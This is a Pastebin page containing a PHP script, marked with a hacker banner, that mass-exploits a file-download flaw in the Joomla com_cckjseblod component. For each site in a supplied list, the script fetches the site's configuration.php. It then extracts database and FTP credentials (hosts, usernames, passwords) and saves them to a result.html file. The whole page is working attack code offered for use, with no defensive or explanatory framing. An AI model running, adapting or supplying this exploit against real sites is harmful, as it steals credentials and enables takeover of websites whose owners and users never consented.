Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(0);
- @set_time_limit(0);
- print "
- ___________.__ .___ _______ .___
- \_ _____/| | __| _/___________ ______ ____ \ _ \ __| _/____
- | __)_ | | / __ |/ __ \_ __ \/ ___// ___\/ /_\ \ / __ |/ __ \
- | \| |__/ /_/ \ ___/| | \/\___ \\ \___\ \_/ \/ /_/ \ ___/
- /_______ /|____/\____ |\___ >__| /____ >\___ >\_____ /\____ |\___ >
- \/ \/ \/ \/ \/ \/ \/ \/
- The Hacker make tool not tool make a hacker :)
- " ;
- $y=@file_get_contents($argv[1]);
- $ec=explode("\r\n",$y);
- $open=fopen("result.html","a");
- foreach ($ec as $links){
- $lofe="$links/index.php?option=com_cckjseblod&task=download&file=configuration.php";
- $gg=@file_get_contents($lofe);
- if(preg_match("#class JConfig#",$gg)){
- echo "\n[+] $links ==> infected\n";fwrite($open,"<br>[+] $links <br>");
- preg_match("#tmp_path = '(.*?)\/tmp';#",$gg,$r);echo " [-] path of site : $r[1]/\n";fwrite($open,"path of site : $r[1] <br>");
- echo "\t[*]>--database informations --< \n"; ///// Database info
- preg_match("#host = '(.*?)';#",$gg,$r);echo "\t\t[!] Host : $r[1]\n";fwrite($open,"host : $r[1] <br>");
- preg_match_all("#user = '(.*?)';#",$gg,$rr);echo "\t\t[!] user : ".$rr[1][1]."\n";$aaa=$rr[1][1];fwrite($open,"user :$aaa <br>");
- preg_match("#password = '(.*?)';#",$gg,$r);echo "\t\t[!] password : $r[1]\n";fwrite($open,"pass : $r[1] <br>");
- preg_match("#db = '(.*?)';#",$gg,$r);echo "\t\t[!] Database : $r[1]\n";fwrite($open,"db: $r[1] <br>");
- echo "\t[*]>--Ftp informations --< \n"; /////// Ftp info
- preg_match("#ftp_enable = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp enable : $r[1]\n";
- preg_match("#ftp_host = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp_host : $r[1]\n";fwrite($open,"ftp-host : $r[1] <br>");
- preg_match("#ftp_port = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp port : $r[1]\n";fwrite($open,"ftp-port : $r[1] <br>");
- preg_match("#ftp_user = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp user : $r[1]\n";fwrite($open,"ftp-user : $r[1] <br>");
- preg_match("#ftp_pass = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp pass : $r[1]\n";fwrite($open,"ftp-pass : $r[1] <br>");
- preg_match("#ftp_root = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp root : $r[1]\n";
- }else{
- echo "\n[+] $links ==> Not infected\n";
- }
- }
- fclose($open);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement